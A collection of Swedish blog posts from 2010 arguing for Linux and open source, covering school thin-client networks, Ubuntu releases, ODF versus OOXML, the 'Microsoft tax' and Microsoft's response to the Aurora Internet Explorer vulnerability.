Läs även andra bloggares åsikter om barnpornografi, datalagring, datalagringsdirektivet, integritet, övervakning

10 000 i installationskostnad för ett 30-datorers nätverk

2010-05-29T21:46:00.004+02:00

I Jakobsberg har en Linux-intresserad deltidsanställd KTH:are skapat ett terminal-server-nätverk för en skola för en knapp månadslön. Datorerna som används är donerade och programvaran baseras på Edubuntu, en variant av Ubuntu speciellt inriktad på lärandemiljöer.

Personligen tycker jag att det är ett glimrande koncept. När skolan inte hade pengar gjorde man det bästa av situationen och skapade ett nätverk av 30 datorer med många år på nacken som bara visar skärmbilden av det som användaren gör. All beräkning sker på två centrala servrar som står i källaren. Detta gör att man kan använda datorer som aldrig skulle dra runt ett modernt operativsystem. En kort och gott otroligt kostnadseffektiv lösning.

Men precis som i barnporr-, fildelnings-, internet-, drog- och alkoholdebatterna så kommer man med det klassiska "men barnen då!??"-argumentet i en del av de fantastiskt inskränkta kommentarer som skrivits i anslutning till artikeln.

Man menar att barnen, som "utsätts" för "ett operativsystem som nästan ingen använder" tar skada av den utbildning de får, eller hamnar på efterkälken gentemot sina jämnåriga kamrater som (med stor sannolikhet) kör ett nio år gammalt operativsystem vid namn Windows XP. Verkligen modernt och inte alls på efterkälken.

En särskild idiot menar vidare att det "inte finns någon anledning att lära sig en massa olika system" och att "standardisering" är av godo. Det verkar som att han menar att alla bör använda Microsoft Office 2007 eller nyare och vänja sig vid det någorlunda nya Ribbon-gränssnittet. För att sedan när de om fem-tio år går ut gymnasiet sitta helt perplex när företaget de ska börja jobba på kör OpenOffice.org, GoogleDocs eller något annat de aldrig sett, för att företaget insett att MS Office är en tung koloss på lerfötter till ett episkt överpris och att de klarar sig fint med ovan nämnda alternativ.

Själv började jag min skoldatorbana på Victor 286:or med Microsoft Windows 2.1, och det var sannerligen inte det hetaste vid den tiden. Skolan låg minst två processorgenerationer bakom det som var nytt och Windows hade uppdaterats rätt rejält sedan skolan köpte in sina licenser. En uppgradering var dock inte att tala på eftersom systemkraven på nyare versioner krävde en massiv investering i både datorer och mjukvara. Pengar som skolan inte hade. Inte så stor skillnad mot idag alltså.

Själv har jag nyligen avslutat studier på en folkhögskola som har Windows XP på alla datorer, ett system som har närmare 10 år på nacken. Visst, det har köpts in några Office 2007-licenser, men de allra flesta datorer kör Office 2003, som är sju år gammalt. Inte speciellt modernt, men visst, det kanske speglar marknaden ute på företagen. Att utbilda mellanstadiebarn på plattformen för att det på något sätt ska spegla IT-världen när de väl tagit examen är däremot ett helt världsfrånvänt argument.

Lika lite som jag har nytta av mina kunskaper om Windows 2.1 och WordPerfect for DOS i dag, lika lite kommer dagens mellanstadiebarn ha nytta av sina utpräglade Windows XP/Vista/7-kunskaper och känsla för Ribbon-gränssnittet när de går ut gymnasiet. Datorvana däremot, där skrivbordsmetaforen fortfarande är allenarådande, kommer de att ha god nytta av och den är helt systemoberoende.

Jag fruktar att mus, QWERTY-tangentbord, touchpad, webbkamera och datorskärmar kommer att finnas kvar ett bra tag till, även om de kanske kommer att ersättas av tankestyrning, VR-handskar, talstyrning och neurala gränssnitt om någon/några generation(er). Vad vet jag?

Jag tycker hur som helst att det är trevligt att se ett initiativ som baseras på öppen källkod och fri programvara. En bonus är ju dessutom att det sparar på våra skattekronor. Enligt en undersökning Computer Sweden gjort är licens- och underhållskostnaderna uppe i en miljard svenska kronor årligen bara för staten. Alltså undantaget kommuner och landsting. Jag säger det igen, undantaget kommuner och landsting. Cheezus. Men det är en annan bloggpost.

Läs även andra bloggares intressanta åsikter om datorer, fri programvara, linux, skolan, öppen källkod

Omöjligt att bli pirat i Valkompassen

2010-05-20T18:57:00.003+02:00

Jag vet att Stig-Björn Ljunggren & co inte är systemutvecklare, men hur kan man utforma Valkompassen som man gjort med tanke på vilka partier som är med?

Jesper Räf har gjort ett facit till testet och hur det är utformat.

Själv får jag ett ganska förbryllande resultat i testet. Bland annat så har jag åsikter som till 30% överensstämmer med Sverigedemokraternas partiprogram fastän jag till 100% aldrig skulle rösta på dem för att det är en fråga de står för som står och faller för mig, nämligen den om mångkultur.

Å andra sidan har jag bara 16% överensstämmelse med Piratpartiet, trots att jag håller med om deras få frågor till 100%. Dessutom är det omöjligt att slutföra testet om man svarar "Vet ej" på fler än fem frågor. Det är således helt omöjligt att bli piratpartist.

Intressant och spännande, minsann.

Läs även andra bloggares åsikter om politik, valkompassen

Anmäl Microsoftskatten till konsumentverket/KO

2010-04-10T18:25:00.003+02:00

Johan Ekblad har skrivit till konsumentombudsmannen (KO) om det underliga i att behöva betala för ett operativsystem som man inte ska använda. Med andra ord det som i dagligt tal brukar kallas Microsoft-skatten.

Microsoft-skatten innebär att så gott som alla datorer från stora leverantörer förinstalleras med någon version av Microsoft Windows. Windows bakas sedan in i priset på datorn och går inte att välja bort, oavsett om du tänker använda det eller inte. Trots att Microsofts egen End User License Agreement (EULA, eller slutanvändarlicens) hävdar att man ska kunna få pengarna tillbaka eller någon typ av rabatt.

Johan har därför skickat in en anmälan till konsumentombudsmannen/konsumentverket och fått följande svar:

Hej!

Konsumentverket/KO har mottagit din förfrågan angående din anmälan (dokid 173065) Konsumentverket/KO bedömer alla anmälningar. Ett ärende öppnas endast om en anmälan anses principiellt intressant eller om det finns ett större konsumentintresse.

Din anmälan har inte resulterat i ett ärende. Skulle Konsumentverket/KO få information som tyder på att frågan är principiellt intressant eller av större konsumentintresse kan ett ärende ändå öppnas.¹ Sådan information kan komma in genom ytterligare anmälningar eller på annat sätt.

Med vänlig hälsning,

Konsumentverket/KO

1) Min emfas.

Det är därför viktigt att vi som vill ha möjlighet att köpa datorer (vilka datorer vi vill) utan Windows förinstallerat skriver in till Konsumentverket för att göra våra röster hörda.

Sedan länge har det varit möjligt att köpa datorer utan operativsystem, eller med alternativa operativsystem installerade. Det kommer vi sannolikt att få höra från våra kritiker. Däremot har det varit så gott som omöjligt att köpa sådana i vanliga teknikbutiker, såsom Elgiganten, Media Markt eller Expert. Det går hos dessa kedjor heller inte att få tillbaka några pengar för licensen om man köper en dator som är förinstallerad med Windows. Det är detta som jag vänder mig emot. Johan har mer information i sin blogg.

Läs även andra bloggares intressanta åsikter om avtal, bundling, datorer, konsumentverket, licenser, microsoft, skatt, valfrihet

Erfarenheter av nyinstallerad Ubuntu 10.04 Beta2

2010-04-10T17:33:00.004+02:00

Efter att ha helt skippat Ubuntu 9.10 Karmic Koala eftersom kärnorna i den vägrade starta upp på min dator har jag kört vidare på 9.04 fram till idag.

Jag provade att installera Beta 1 på min dator genom att preparera ett USB-minne med Desktop-iso-filen. Installationen gick bra ända tills Grub2 skulle installeras, då ballade installationen ur och ingen bootsektor blev skriven, med resultatet att hela systemet gick åt pipan.

Efter att ha ignorerat problemet i några veckor så tänkte jag att det idag var dags att ta ett krafttag för att installera Beta-version nummer två. För säkerhets skull valde jag iso-filen Alternate istället för Desktop. Alternate-ison har ett textbaserat installationsprogram som bara gör det som är nödvändigt istället för att vela runt med en massa grafiskt lull-lull.

Alternate-installationen gick som en dans och efter installationen startade datorn upp väldigt snabbt. Jag skulle tippa på mellan 8-10 sekunder efter att BIOS och andra uppstartsfunktioner körts igenom.

Efter första uppstart installerade jag kompletterande språkstöd och försökte installera de proprietära drivrutinerna för mitt nVidia GeForce 8600M GT. Jockey, som är programmet som hanterar proprietära drivrutiner, kraschade efter att ha försökt lägga till kärnmodulerna. Av någon anledning ville Jockey lägga till drivrutiner med versionsnummer 173.x. Det tyckte jag var lite mystiskt eftersom den nyaste versionen är 195.x. Jag lade dock till ett Personal Package Archive (PPA) för nVidia och installerade version 185.x istället. Det gick mycket bättre.

Mitt första intryck av systemet kört från hårddisk är att det är mycket rappare och mer responsivt än sina föregångare. Dessutom är det visuellt väldigt tilltalande jämfört med dem. Jag ställer mig lite frågande till uppstartsprocessen som fortfarande verkar lite ofärdig ur en visuell vinkel, men i övrigt tycker jag att man har lyckats väldigt bra med utseendet och det sammanhållna intrycket.

Jag har inte hunnit testa speciellt många applikationer, men både Firefox 3.6 och OpenOffice.org 3.2 känns mycket kvickare och har kortare uppstartstid än sina föregångare.

Än så länge är jag inte speciellt van vid den stora kontroversen så här långt, att minimera-, maximera- och stäng-knapparna sitter på vänster sida ovanför där Arkivmenyn huserar. Jag har heller inte (miss)lyckats med att stänga ner ett fönster när jag skulle ha klickat på Arkiv-menyn. Än, ska kanske tilläggas.

Ljudet fungerar, den inbyggda webbkameran fungerar, SD-läsaren fungerar, IR-porten fungerar, volymknapparna fungerar, knapparna för musikspelaren fungerar, e-post-knappen fungerar. All hårdvara jag har testat fungerar, helt enkelt. Hur det funkar med vänte-/viloläge har jag dock inte testat än.

Jag bara hoppas att installationsproblemen från Beta 1 är lösta, samt att installationen av de proprietära grafikdrivrutinerna kan lösas innan den 29:e. Då är det här, för mig och min dator åtminstone, en komplett produkt.

Läs även andra bloggares åsikter om 10.04, canonical, fri programvara, linux, lucid lynx, ubuntu, öppen källkod

Digital Agenda for Europe: Öppenheten återigen hotad inom EU

2010-03-30T11:55:00.004+02:00

Det är inte bara inom mediaindustrin och upphovsrättsfrågorna som öppenheten hotas i den Europeiska Unionen. Den snart förestående Digital Agenda for Europe (engelskt utkast) ska nå sin slutgiltiga utformning om en knapp månad den 27 april och öppna standarder och öppen källkod är under tung attack.

I ursprungsförslaget har öppna standarder och öppen källkod en stor plats, men enligt källor med insikt i processen driver Microsoft en hård lobbyingkampanj för att få bort dessa begrepp från den Digitala Agendan.

Varför är det då så viktigt att detta lobbyingarbete inte lyckas? Jag tänker bara ta ett exempel. Internet byggdes på öppna standarder. Utan öppna standarder hade vi haft Microsoft Network (MSN), kanske ett AppleNet, ett IBMNet, ett SunNet och ett NovellNet, alla med stora svårigheter att kommunicera med varandra. På de glada åttio- och nittiotalen såg det faktiskt ut såhär i datasalar runt om i världen. Alla tillverkare körde sitt eget race innan de öppna standarderna som exempelvis TCP/IP gjorde intåg i salarna.

Genom att inte satsa på öppna standarder och öppen källkod, ger man fritt fram för den mest dominerande spelaren på marknaden att låsa in information, utveckla egna dokumentformat och kommunicera på sätt som är svårt eller omöjligt för andra tillverkare att följa efter. Man skapar en snedvridning av konkurrensen och gör det mycket svårt för andra aktörer att ta sig in på marknaden.

Detta i sin tur leder till att det ledande företaget bibehåller sin ställning oavsett om deras lösningar är tekniskt sämre och kostar mer. Man uppmuntrar således en prissättning som kostar oss skattebetalare mer pengar.

Dessutom riskerar man viktig information genom att anförtro den till ett eller flera företag och indirekt litar på att de är villiga att lämna ut information om hur dokumenten är uppbyggda. Om 100 år kan det därför vara omöjligt att läsa dokumentformatet, för att företaget som specificerat det gått omkull, utan att lämna upplysningar om hur informationen i dokumentet ska tolkas.

Med en öppen standard med en allmänt tillgänglig specifikation slipper man detta problem och kommer alltid att kunna återskapa dokument oavsett hur gamla de blir.

Vad kan vi då göra åt detta? Än så länge har det varit tyst (till och med i piratpartiet ) i den svenska bloggosfären om detta (mig veterligen). Fokus har förståeligt nog varit på ACTA och Beatrice Ask idiotier, men detta är i mitt tycke en lika allvarlig framtid vi går till mötes. Den enda kommentaren jag hittat om Digital Agenda for Europe var från Gunnar Hökmark (m), och även om han uttalade sig om andra delar kan jag inte instämma mer:

- Innovation drives technological evolution at a speed which we can not foresee. We therefore must ensure that todays political decisions do not hinder tomorrows innovations.

Det är precis vad som kommer att hända om inte lobbyingen stoppas.

I detta formuläret kan vi som är intresserade av interoperabilitet och öppenhet sända in våra synpunkter på förslaget för European Interoperability Strategy. Ett annat sätt är att skicka e-post till våra EU-parlamentariker och EU-kommissionär.

Jag har gjort det. Vad kommer du att göra?

Läs även andra bloggares intressanta åsikter om Digital Agenda, EU, Europa, interoperabilitet, standarder, öppen källkod, öppenhet, öppna standarder

Hur man skyddar ideella projekt från skadliga personer

2010-03-12T11:39:00.002+01:00

Ideella projekt, speciellt i Internets tidevarv, har en förkärlek för att låta vem som helst deltaga i projekten för att växa och bli större, sänka tröskeln för engagemang och helt enkelt vara transparent och öppet.

I början av sådana projekt drivs utvecklingen ofta av en liten kärngrupp av entreprenörer och teknikkunniga som verkligen brinner för just detta projektet. Med tiden kommer däremot undantagslöst personer in i projektet som inte har samma mål eller värderingar som formulerats i ursprungsprojektet.

När jag skriver "skadliga personer" menar jag inte att de är elaka, missunsamma personer som medvetet är ute för att skada projektet eller dess mål. Oftast är det tvärt om. Många gånger är det personer som vill utöka "kampen", vill att projektet ska vara mer aggressivt i sin marknadsföring, vill att fler funktioner eller uppgifter ska tillföras projektet, tycker att projektet är för byråkratiskt eller för flummigt och det kan vara personer som bara tycker om att debattera i sådan utsträckning att all kraft och energi läggs för att bemöta dessa personer.

En föreläsning på Googles högkvarter fokuserade på just detta problem, betitlad How to protect your Open Source project from poisonous people. Det är helt klart värt en timmes tittande:

Som nyligen avgången TeamLeader för Ubuntu Sverige och aktiv inom FOSS-rörelsen i Sverige i många år har jag stött på tillräckligt många personer av det här slaget. Samarbetsovilliga, respektlösa och själviska, många gånger utan att de inser det själva. Troligtvis har även jag upplevts som sådan i vissa projekt som jag varit med i.

En del av förklaringen är kommunikationsformen. I konversationer öga-mot-öga utgörs drygt tio procent av orden vi säger, 35 procent av tonfallet och 55 procent av kroppsspråket. När det gäller online-konversation är alltså nio tiondelar av vårt uttryck som bortblåst och vi är utlämnade till restrerande tio procent som är de ord som vi vill uttrycka. Leenden, ironiska blinkningar, gester, tonläge, skratt, sura miner, höjda ögonbryn, vänliga klappar på axeln, kramar, hånflin, allt är borta. Kvar att använda är smileys. Bara.

Att kommunikationsmissar uppstår i en sån miljö är helt naturligt, om än beklagligt. Någon som kan uppfattas som sur och tvär kanske bara är otroligt långsam på att skriva och bemödar sig därför inte med att skriva långt, urskuldande och omständligt. Ett korthugget svar utan smileys kan då tolkas som otrevligt översitteri och en klockren besserwisser-attityd, även när personen som sitter bakom tangentbordet är en helylle-gosig, supertrevlig charmknutte.

Andra kan istället överanvända utropstecken och smileys och upplevs då som en gapig hyperaktiv tomte med uppmärksamhetsproblem, när de i själva verket är snälla stugsittare utan klar bild av vilka konversationskonventioner som gäller på Internet utanför Aftonbladets chatt och Lunarstorm.

Viktigt i sammanhanget är också vilket inre motiverande värdesystem man har. För en del kan byråkrati vara jämförbart med livstids straffarbete, medan andra ser rött när de ser saker drivas på lösa boliner utan ordentlig styrning och uppföljning, oavsett om projektet drivs framåt som tåget eller inte. För andra är debatt innan viktiga beslut det värsta de vet, medan andra upplever det som diktatur så fort någon tar tag i taktpinnen och tar ett toppstyrt beslut, utan att konsultera alla som någonsin varit involverade i projektet.

Jag tror personligen på att det i slutändan är ohållbart och rent av kontraproduktivt att låta "alla som vill" få vara med i beslutsfattandet och framåtsyftande med projektet. Det krävs viss toppstyrning och rent av uteslutande av vissa medlemmar i projektet för att det över huvud taget ska gå att komma framåt. Alldeles för mycket tid och kraft har lagts på människor som velat väl men till syvende och sidst har tagit upp allt för mycket resurser från det som verkligen betyder något: projektets framåtskridande.

Jag tror istället att man bör bilda en kärngrupp av människor som har lätt att samarbeta med varandra, är lyhörda för varandras åsikter och har ett gemensamt mål. Oavsett om kärngruppen är entreprenörsdriven eller byråkratdriven är det viktigt att kunna samarbeta och känna samhörighet inom gruppen. Att lägga en halvdag på att prata vett i ett stolpskott som inte har det minsta att tillföra projektet, skadar projektet på lång sikt och bör undvikas.

Därför är jag glad åt att jag ska ta över ett projekt som bara består av människor som jag respekterar och kan samarbeta med. Ett projekt där jag kan lägga tiden på att utföra faktiskt arbete istället för att moderera bort skitsnack, debattera ändlösa för/emot-trådar och utföra formalia.

Jag tänker inte tala om vilket projekt det rör sig om, eftersom jag befarar att det kommer dra till sig de människor jag stör mig allra mest på. Så långt har det gått och så illa är det.

Jag önskar alla lycka till med att göra det de tror på, och välja bort det de inte tror på.

Fridens liljor.

Läs även andra bloggares intressanta åsikter om fri programvara, ideella projekt, idiotskydd, linux, öppen källkod

Vela i frid, Internet Explorer 6

2010-03-04T19:31:00.004+01:00

Internet Explorer 6 har hastigt lämnat oss, efter en arbetsplatsolycka i Googleplex den första mars.

Internet Explorer 6, känd för sina vänner som IE6, var en seg rackare som höll ut länge mot svåra odds. Efter sig lämnar han barn (IE7) och barnbarn (IE8) och horder av överlyckliga webbutvecklare.

Många är kvällarna och nätterna då jag och IE6 har suttit uppe tillsammans och strävat efter att få samsyn ur våra olika perspektiv. Tid som jag aldrig kommer att få tillbaka. Och jag minns speciellt allt nätfiske under de ändlösa sommardagar som makligt drog sig fram. IE6 var ett riktigt original och gick alltid sin egen väg. Jag minns den dagen när vi skulle skruva element. Jag och hans vänner Firefox och Safari ville ha elementet bredvid fönstret, men IE6 ville prompt sätta det nedanför. Han hävdade att utrymmet var för litet. Sån var han, IE6. En enstöring som inte brydde sig så mycket om vad andra tänkte och tyckte. Vi argumenterade fram och tillbaka i flera timmar, tills vi slutligen förlängde väggen för att elementet skulle få plats bredvid fönstret. Det är sånt man minns, men inte kommer att sakna.

IE6 hade integritet, så mycket kan man åtminstone säga om honom. Transparens var inte hans starka grej. Men så länge man spelade på hans regler så kunde han öppna sig. Ibland lite väl mycket, speciellt för min svorne fiende, den aktive X.

X kunde ofta, till vår uppenbara bestörtning, låsa upp IE6 allra mörkaste vrår och få tillgång till hans stora hemligheter. Men nu är den tiden över.

Älskad av många och hatad av ännu fler, hålls minnesgudstjänster för IE6 över hela världen denna dag, bland annat i Denver, Colorado - USA.

Farväl IE6, och vela i frid.

Läs även andra bloggares intressanta åsikter om begravning, browser, explorer, google, ie, ie6funeral, internet explorer, microsoft, webbläsare

Företags-test av ChromeOS?

2010-03-04T15:09:00.002+01:00

En testredaktör på IDG.se vid namn Lars Dobos har testat öppen källkods-bygget Chromium "för företagsanvändare". Chromium är en tidig oberoende variant av Googles ChromeOS, vilket är ett operativsystem som i princip endast består av ett skrivbord och webbläsaren Google Chrome.

Jag håller med om att Google har ett rätt rejält pung-grepp på sökmotormarknaden och att företaget samlar på sig ohälsosamt mycket information om sina användare. Där är jag och Lars Dobos eniga, tror jag. Men där upphör likheten.

Dobos förhåller sig tveksam till Chromium i stort och tror inte att det räcker till för företagen. Han skriver att

med tanke på hur många jobbar i dag är Chromium en direkt omöjlighet.

I kommentarerna till artikeln förtydligar han detta med

min objektiva syn på det hela är att Chrome OS inte duger som ersättare för Win7/Mac OS X/Linux på företagens datorer idag.
Menar du att vår Photoshopande AD ska klara sig med Chrome OS, ska bankmannen klara sig, ekonomiavdelningen, börsmäklare, ... , ?

Visserligen kan jag hålla med om att ChromeOS förmodligen skulle klara sig sämre som operativsystem för CAD-användare och användare som håller på med avancerad bildbehandling, men vad är det som säger att man måste ha en homogen miljö i sitt företagsnät?

Har man 2980 användare som håller på med ett affärssystem, webb-baserad tidsredovisning och webb-baserad epost, och 20 användare som håller på med CAD eller bildredigering, är det då ett sunt affärsbeslut att köpa in 3000 stycken Windows 7-licenser, för att de 20 inte kan köra på samma plattform som alla andra? Ska det vara jämlikt, är det där skon klämmer?

Sen menar Lars Dobos att han

inte [vill] ha Chrome OS som ersättare till Win7 på min dator och det tror jag gäller företag också.

Som en teknisk datoranvändare som inte vill känna sig låst i ett operativsystem som inte erbjuder något roligt att pilla med, såsom nätverksinställningar, flygande brödrostar som skärmsläckare, meningslösa applikationer som PhotoBooth och mängder av spel förstår jag att Lars Dobos hellre håller fast vid sitt Windows 7.

Men är det verkligen det perspektivet man ska ha? Lars Dobos lever i sin Windows-värld där han ibland sticker ut huvudet utanför bubblan för att göra ett eller annat test. Jag lever förvisso i min Linux-värld och är precis lika isolerad, men jag tar mig heller inte för att testa Windows OS utifrån mina preferenser som Linux-användare.

Jag vet inte hur bekant Lars Dobos är med begreppet tunna klienter, men i administrationshänseende är det en företagsdröm. Och ChromeOS är i ordets rätta bemärkelse en ganska tunn klient. All administration sker centralt och underhållet på klienterna är minimalt. Om en fallerar byts den ut av en annan på samma tid det tar att bära den på plats och användaren är uppe och kör igen en halvminut senare.

Att dessutom inte ha någon lokal lagring på maskinen gör den mindre mottaglig mot virus, man slipper korrupta filsystem, lokalt borttagna filer, klåfingriga användarfel, felaktiga profiler, filer som sparats lokalt på datorns hårddisk och en massa annat som orsakar IT-avdelningarna veckor av arbete året om.

Pelle på ekonomiavdelningen behöver kanske inte mer än sina webb-baserade epostprogram, ekonomiprogram och en webbläsare för att utföra sina arbetsuppgifter, samtidigt som han kan spendera dödtid på Facebook eller Youtube.

Men nej, Lars Dobos tycker inte att ChromeOS duger till företagsanvändare för att man i den här utvecklingsversionen av operativsystemet inte kan peta i ett SD-kort eller en scanner i datorn.

Det tycker jag är ett otroligt snävt sätt att se på saken.

Läs även andra bloggares åsikter om chrome, chromeos, datorer, företag, google, operativsystem, öppen källkod

Val hos Ubuntu-se.org

2010-02-16T18:11:00.002+01:00

Eftersom min tid som Teamledare - och Andreas Olssons tid som Team Contact - för Ubuntu Sverige snart är över, hålls det just i detta nu en nomineringsprocess för att utse våra efterträdare.

Detaljer kring processen kan läsas i den här forumtråden.

Nomineringsprocessen skulle egentligen ha avslutats för några dagar sedan, men har på grund av vissa tveksamheter kring upplysningen kring valet och nomineringstiden och några avhopp förlängts ytterligare en tid för att vaska fram fler kandidater.

Nomineringen pågår från skrivande stund fram till den 23:e februari klockan 24:00.

Omröstningen kommer att äga rum på forumet mellan den 24:e februari klockan 03:00 till och med den 7:e mars klockan 24:00.

Ovanstående länk kommer att innehålla all information som står att finna kring nomineringarna, valet och resultatet.

Välkomna in och påverka!

Läs även andra bloggares åsikter om loco, sverige, ubuntu, val

Norge ger tummen ner för OOXML

2010-02-09T09:09:00.003+01:00

En ny utredning beställd av det norska Direktoratet for forvaltning och IKT menar att OOXML är olämpligt för utbytande av redigerbara dokument i offentlig förvaltning.

Norge har sedan årsskiftet standardiserat på OpenDocument-formatet (ODF) inom offentlig sektor och har parallellt med detta undersökt möjligheterna för att också använda Microsofts OOXML som standard. Utredningen, som gjorts av Hypatia AS i samarbete med Standard Norge, menar att OOXML-standarden har för många ändringsförslag (över 100 stycken på tillsammans mer än 1000 sidor) och att den framförallt har för få fungerande implementationer, alltså program som klarar av att läsa och skriva standarden till 100%.

Vidare debatt kommer att följa eftersom ärendet inte är avgjort i och med denna utredning. Jag tolkar den här sidan som att man vill ha in någon typ av remiss-svar på utredningen.

Microsoft hävdar att Hypatia AS är partiska och för en egen agenda då de redan vid standardiseringsförhandlingarna i Norge menade att OOXML var en uselt uppbyggd dokumentstruktur som hade varit alltför påverkade av Microsoft under alla år.

I slutet av januari stod det klart att Danmark väljer ODF framför OOXML på grund av att ODF var det enda formatet som levde upp till de krav man ställde:

Formatet måste vara fullständigt dokumenterat och offentligt tillgängligt.
Det måste kunna implementeras fritt utan ekonomiska, politiska eller juridiska begränsningar på implementation och användning.
Måste vara godkänt av ett internationellt erkänt standardiseringsorgan, till exempel ISO.
Det måste kunna visas att standarden kan implementeras i sin helhet på flera plattformar.
Formatet måste ha interoperabilitet med funktionerna till andra standarder på listan.

Även om Sverige också har ODF som offentlig standard är det något annat som gäller i den ack så praktiska verkligheten. ODF kan väldigt sällan användas eller ens läsas av kommunala förvaltningar och inte heller av många statliga myndigheter.

Dags att ta ett krafttag för användandet av öppna dokumentstandarder.

Läs även andra bloggares intressanta åsikter om datorer, dokument, norge, odf, ooxml, standard, utredning

Nyzeeländsk skola kör 100% öppen källkod

2010-01-25T10:46:00.002+01:00

På Linux.conf.au, en konferens om öppen källkod i Oceanien, hölls ett föredrag om Albany Senior High School i Auckland, Nya Zeeland. Skolan har kört en fullständig öppen källkodsmiljö sedan den startades i mitten på 2009. På klientdatorerna körs Ubuntu och på servrarna använder man Mandriva, på grund av dess katalogtjänst.

Tidningen CIO menar att serverkostnaderna kapats med hur många procent som helst, men deras uträkning ger jag faktiskt inte mycket för. Bara för att racken man köpt in rymmer 48 enheter måste man inte fylla upp dem. Skolan har trots allt bara 230 elever och de fyra servrar man kör borde räcka gott för eleverna oavsett vilket operativsystem man kör.

Man har valt öppen källkodsvägen trots att det finns ett stort och väldigt subventionerat statligt avtal med Microsoft för att köra deras programvaror. Detta i sin tur innebär att man faktiskt betalar för programvara som man inte använder eftersom man väljer att gå sin egen väg. Alla referensplaner är dessutom skrivna med utgångspunkt i en Microsoftmiljö.

Programvaror som används är bland annat OpenOffice.org och Google Docs för kontorsgöromål, Moodle för utbildningsmaterial, den sociala programvaran Mahara för studentmaterial och portfolios och Koha för bibliotekssystemet.

Projektet har enligt upphovsmännen avlöpt bra med god acceptans från eleverna, till skillnad från det i Ekbackeskolan i Osby, där "elevdatorerna inte går att använda". Det verkar dock vara helt annorlunda på det närliggande Naturbruksgymnasiet där datorerna fungerar fint.

Kanske har det att göra med att Ekbackeskolan inte hade något intresse av att utbilda vare sig personal eller elever i det nya systemet utan väntade sig att det skulle fungera på precis samma sätt som i Windows?

Att förvänta sig att man ska kunna förstå ett system bara genom att sätta sig ner och använda det är ett relativt naivt förhållningssätt som inte fungerar för de allra flesta. Det kräver aktivt kunskapssökande vilket inte alla finner speciellt roligt eller ens har kunskapen att göra. Att peka och klicka omkring i ett fönsterhanteringssystem är väl inte så komplicerat, men så fort det ska installeras program, göras inställningar och anpassas till den enskilda elevens behov och förutsättningar, då blir det lite mer komplicerat.

Windows-plattformen har ett klart övertag efter 20 års marknadsdominans. Supportkapitalet bland familj, vänner, grannar och personal på skolan ska inte underskattas. Linux och öppen källkod har inte den basen att stå på och kan därför inte bara hoppas att det löser sig automatiskt. Det måste finnas en supportorganisation och lektionstid som avsätts för att lära sig och förstå det nya systemet.

Detta är något som både IT-organisationen och skolledningen borde trycka lite extra på. Det är knappast något specifikt för Linux, det gäller även det "intuitiva" Mac OS X eller vad det vara månde. Ingen IT-lösning är så enkel att den inte kräver några utbildningsinsatser. Problemet är bara att när det kommer till Windows så är utbildningsinsatsen redan gjord av åratal av användande på andra arenor än i exempelvis skolan, så där kan eleverna redan hantera den i viss mån.

Implementationen på Nya Zeeland genomfördes på ungefär två månader, vilket är ett oerhört kort projekt med bara några veckor var för utvärdering, test och uppstart. Ändå har systemet fungerat bra. Nyckeln här är troligtvis att man inte har något gammalt system att konvertera från, gamla dokument som måste kunna läsas och annat gammalt mök som ligger och drar. Inlåsning i olika system tar tid att ta sig ur, kostar mängder med pengar och kan få ett projekt att helt gå i stöpet. LiMux-projektet i München är ett bra exempel på ett sånt.

Kostnaderna för systemskiftet läggs inte sällan på det nya systemet, vilket gör att totalkostnaden för ett byte till ett system som långsiktigt är billigare blir högre än att köra vidare på samma gamla system som låser in både dokument och användare i licensmodeller som kostar på sikt.

Läs även andra bloggares intressanta åsikter om datorer, fri programvara, linux, nya zeeland, osby, skola, utbildning, öppen källkod

Microsoft UK försvarar sig om Aurora-hålet i Internet Explorer

2010-01-19T13:03:00.003+01:00

Det är lite blåsigt kring Microsoft för tillfället. Nu har Microsofts brittiske säkerhetschef gått ut i en intervju i Techradar och hävdar att man blir mindre säker på internet om man väljer att gå ifrån Internet Explorer-plattformen till någon konkurrerande webbläsare.

Cliff Evans menar, enligt IDG.ses översättning att

"nettoeffekten av att byta bort IE är att du kommer att få en mindre säker webbläsare."

Han säger också i artikeln i Techradar att

"The reality of the risk is minimal, even if you have IE6; you would have to go to a website running the exploit."

Hur svårt det är att få folk att klicka på länkar och ge bort sina lösenord och dylikt visas dock rätt tydligt i en annan artikel på IDG.se. Säkerhetsmedvetandet är lågt på de allra flesta ställen och det är inte svårt att via social engineering och kedjebrev få folk att klicka på skräp.

Att Google drabbats visar att till och med IT-företag, som borde vara mer säkerhetsmedvetna än genomsnittet, inte går säkra.

PC för Alla meddelar samtidigt att runt 80 procent av företagsanvändarna i en ny undersökning kör Internet Explorer. Detta eftersom bland annat många intranätlösningar kräver den för att fungera. I den artikeln heter det bland annat:

- Att IE skulle försvinna från marknaden är väldigt långsökt. De som säger sådana saker har ingen uppfattning om hur det ser ut på många företag världen över

Cliff Evans kan dock inte säga med säkerhet att det kommer att komma en säkerhetsuppdatering för Internet Explorer innan den vanliga patch-tisdagen, vilket kan innebär att man kan få vänta ända till 9 februari innan den kommer. Till dess är det tre veckor i skrivande stund.

Jag undrar hur många säkerhetschefer på banker, institutioner och företag som vill sitta i ovisshet så länge. Det är som sagt tack vare Metasploit ganska enkelt att använda sig av säkerhetsluckan.

Nu, två dagar efter oss andra, har också IDG.se snappat upp att även Frankrike gått ut och varnat för Internet Explorer, och gjorde så innan Sitic.

Läs mina andra bloggposter på ämnet:

Så här fungerar Aurora-hacket på Internet Explorer 6

Sveriges IT-incidentcentrum (Sitic) varnar också för att använda Internet Explorer

Tysklands IT-säkerhetsmyndighet avråder från att använda Internet Explorer

Läs även andra bloggares intressanta åsikter om attack, banker, exploit, företag, ie, internet explorer, metasploit, microsoft, riskmedvetenhet, säkerhet

Fosskalendern.se firar ett år (typ..)

2010-01-19T06:49:00.002+01:00

För ungefär ett år sedan satt jag och pillade på de sista detaljerna på fosskalendern.se. Efter att ha letat med ljus och lykta efter en kalender-aggregator som kunde presentera flera olika kalendrar som en, börjat bygga på en själv och gett upp halvvägs, hade jag hittat Calagator, en Ruby-on-Rails-kalender som gjorde precis det jag behövde, och det jag tyckte att FOSS-Sverige behövde.

Jag kunde visserligen inte ett dugg om Ruby on Rails, och det verkade inte som att någon annan kunde det heller, eller de ville åtminstone inte skylta med det. Men detta lilla faktum stoppade mig inte, utan jag började glatt översätta de mest kritiska delarna, gjorde temaändringar tills det åtminstone inte såg ut som en rakt-av kopia av original-sajten, och publicerade den.

Nu såhär ett år(ish..) senare måste jag konstatera att fosskalendern.se har varit en stor framgång. Evenemangsräknaren är uppe i 150+, så under det år som gått har vi väldigt lågt räknat haft åtminstone 100 evenemang som stått listade i kalendern. Men vi nöjer oss inte där. Siktet för 2010 är att åtminstone dubbla detta antal.

